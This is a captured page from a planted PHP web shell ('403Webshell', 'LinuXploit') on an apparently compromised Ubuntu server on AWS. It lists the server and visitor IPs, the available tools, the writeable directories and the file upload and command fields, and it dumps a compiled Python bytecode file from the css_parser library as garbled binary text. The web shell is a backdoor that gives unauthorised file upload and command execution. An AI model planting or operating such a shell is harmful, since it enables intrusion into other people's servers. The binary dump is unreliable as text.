403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/css_parser/css/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/css_parser/css/__pycache__/cssvariablesrule.cpython-312.pyc
�

��3e����ddlmZmZmZmZddlZddlZddlm	Z	ddl
mZ	dgZdZ
dZddlZej dd	k\reZneZGd
�de	j(�Zy)�)�unicode_literals�division�absolute_import�print_functionN�)�cssrule)�CSSVariablesDeclaration�CSSVariablesRule�restructuredtextz;$Id: cssfontfacerule.py 1818 2009-07-30 21:39:00Z cthedot $�c����eZdZdZ		d�fd�	Zd�Zd�Zd�Z�fd�Ze	eed��Z
e	d	��Zd
�Ze	d�ed��Z
e	d
�d��Ze	d�d��Ze	d��Z�xZS)r
a_
    The CSSVariablesRule interface represents a @variables rule within a CSS
    style sheet. The @variables rule is used to specify variables.

    css_parser uses a :class:`~css_parser.css.CSSVariablesDeclaration`  to
    represent the variables.

    Format::

        variables
            VARIABLES_SYM S* medium [ COMMA S* medium ]* LBRACE S*
            variableset* '}' S*
            ;

    for variableset see :class:`css_parser.css.CSSVariablesDeclaration`

    **Media are not implemented. Reason is that css_parser is using CSS
    variables in a kind of preprocessing and therefor no media information
    is available at this stage. For now do not use media!**

    Example::

        @variables {
          CorporateLogoBGColor: #fe8d12;
        }

        div.logoContainer {
          background-color: var(CorporateLogoBGColor);
        }
    c����tt|�||��d|_tj
j
||��|_|r||_||_
yt|��|_||_
y)zO
        If readonly allows setting of properties in constructor only.
        )�
parentRule�parentStyleSheetz
@variables)�readonly�rN)�superr
�__init__�
_atkeyword�
css_parser�stylesheets�	MediaList�_media�	variablesr	�	_readonly)�self�	mediaTextrrrr�	__class__s      ��A/usr/lib/python3/dist-packages/css_parser/css/cssvariablesrule.pyrzCSSVariablesRule.__init__5sn���
	���.�*�@P�	/�	R�&���!�,�,�6�6�y�8�6�T����&�D�N�"���5��E�D�N�!���c��d|jj�d|jj�d|jj
�d�S)Nzcss_parser.css.z(mediaText=z, variables=�))r�__name__rrr�cssText�rs r�__repr__zCSSVariablesRule.__repr__Hs3���N�N�#�#��K�K�!�!��N�N�"�"�$�	$r c��d|jj|jj|jj
|jt|�fzS)NzE<css_parser.css.%s object mediaText=%r variables=%r valid=%r at 0x%x>)rr#rrrr$�valid�idr%s r�__str__zCSSVariablesRule.__str__NsK���!�^�^�4�4�!�[�[�2�2�!�^�^�3�3�!�Z�Z���X�	'�'�	'r c�@�tjj|�S)z#Return serialized property cssText.)r�ser�do_CSSVariablesRuler%s r�_getCssTextzCSSVariablesRule._getCssTextVs���~�~�1�1�$�7�7r c�l��tt|�|�|j|�}|j	|d�}|j|�|jjk7rH|jjd|j|�ztjj��yt|��}d}|j|dd��\}}|j!|�dk7r0d}|jjd	|j|�z|�d
di}|j#�}	|j%d|	|j|�i��\}
}|xr	|
xr|d
}|j|dd�
�\}}
|j!|
�|j|
�}}|dk7r4|dk7r/d}|jjd|j|�z�|j	|�}|rd}|jjd|��d|k(r|j'|
�||_|r|j+|	�||_yy)ar
        :exceptions:
            - :exc:`~xml.dom.SyntaxErr`:
              Raised if the specified CSS string value has a syntax error and
              is unparsable.
            - :exc:`~xml.dom.InvalidModificationErr`:
              Raised if the specified CSS string value represents a different
              type of rule than the current one.
            - :exc:`~xml.dom.HierarchyRequestErr`:
              Raised if the rule cannot be inserted at this point in the
              style sheet.
            - :exc:`~xml.dom.NoModificationAllowedErr`:
              Raised if the rule is readonly.

        Format::

            variables
            : VARIABLES_SYM S* medium [ COMMA S* medium ]* LBRACE S*
              variableset* '}' S*
            ;

            variableset
            : LBRACE S* vardeclaration [ ';' S* vardeclaration ]* '}' S*
            ;
        Nz/CSSVariablesRule: No CSSVariablesRule found: %s)�errorrT)�blockstartonly�separateEnd�{Fz>CSSVariablesRule: No start { of variable declaration found: %r�
wellformed�:)�expected�seq�	tokenizer�productions)�blockendonlyr2�}�EOFz>CSSVariablesRule: No "}" after variables declaration found: %rz)CSSVariablesRule: Trailing content found.)�token)rr
�_setCssText�
_tokenize2�
_nexttoken�_type�_prods�
VARIABLES_SYM�_logr0�	_valuestr�xml�dom�InvalidModificationErrr	�_tokensupto2�_tokenvalue�_tempSeq�_parse�appendr$�_setSeqr)rr$r8�attoken�newVariables�ok�beforetokens�brace�new�newseq�beforewellformedr6�variablestokens�braceorEOFtoken�val�type_�	nonetokenrs                 �rr>zCSSVariablesRule._setCssTextZsE���4	���1�'�:��O�O�G�,�	��/�/�)�T�2���:�:�g��$�+�+�";�";�;��I�I�O�O�M� �N�N�7�3�4�"%�'�'�"@�"@�
�
B�3�d�C�L��B�"&�"3�"3�I�CG�@D�#4�#F��L�%�����&�#�-����	�	���!8�"&�.�.��"9�!:�;@�B�
 ��&�C��]�]�_�F�)-���c�9?�4�?�?�[g�Kh�AC�*5�*E�&��h��>�(�>�S��->�B�/3�/@�/@��NR�MQ�0A�0S�,�O�_��)�)�/�:��
�
�?�+��C��c�z�e�u�n����	�	���!8�"&�.�.��"9�!:�;����	�2�I�����	�	��� K�&/� �1���~��&�&��7�#2�L� �����V�$�!-���r z7(DOM) The parsable textual representation of this rule.)�docz_NOT IMPLEMENTED! As css_parser resolves variables during serializing media information is lost.c��|j�t|t�rt||��|_y||_||_y)zS
        :param variables:
            a CSSVariablesDeclaration or string
        )r$rN)�_checkReadonly�
isinstance�string_typer	�
_variables�_parentRule)rrs  r�
_setVariableszCSSVariablesRule._setVariables�s=��
	
�����i��-�5�i�AE�G�D�O�%)�I�!�'�D�Or c��|jS�N)rar%s r�<lambda>zCSSVariablesRule.<lambda>�s
��d�o�o�r zX(DOM) The variables of this rule set, a :class:`css_parser.css.CSSVariablesDeclaration`.c��|jSre)�VARIABLES_RULEr%s rrfzCSSVariablesRule.<lambda>�s���!4�!4�r z=The type of this rule, as defined by a CSSRule type constant.c��y�NT�r%s rrfzCSSVariablesRule.<lambda>���r zNOT IMPLEMTED REALLY (TODO)c��yrjrkr%s rrfzCSSVariablesRule.<lambda>�rlr )NNNNF)r#�
__module__�__qualname__�__doc__rr&r*r.r>�propertyr$�mediarcr�typer(r4�
__classcell__)rs@rr
r
s�����>CG�16�"�&$�'�8�S.�j�{�K�#�$�G�
�I�
J�E�(��5�}�P�Q�I��4�)�*�D�
�&�,I�J�E��+�,�Jr )�
__future__rrrr�xml.domrFr�r�cssvariablesdeclarationr	�__all__�
__docformat__�__version__�sys�version_info�strr`�
basestring�CSSRuler
rkr r�<module>r�sb��R�R����<���
��"�
�K��
����A��!���K��K�z-�w���z-r 

Youez - 2016 - github.com/yon3zu
LinuXploit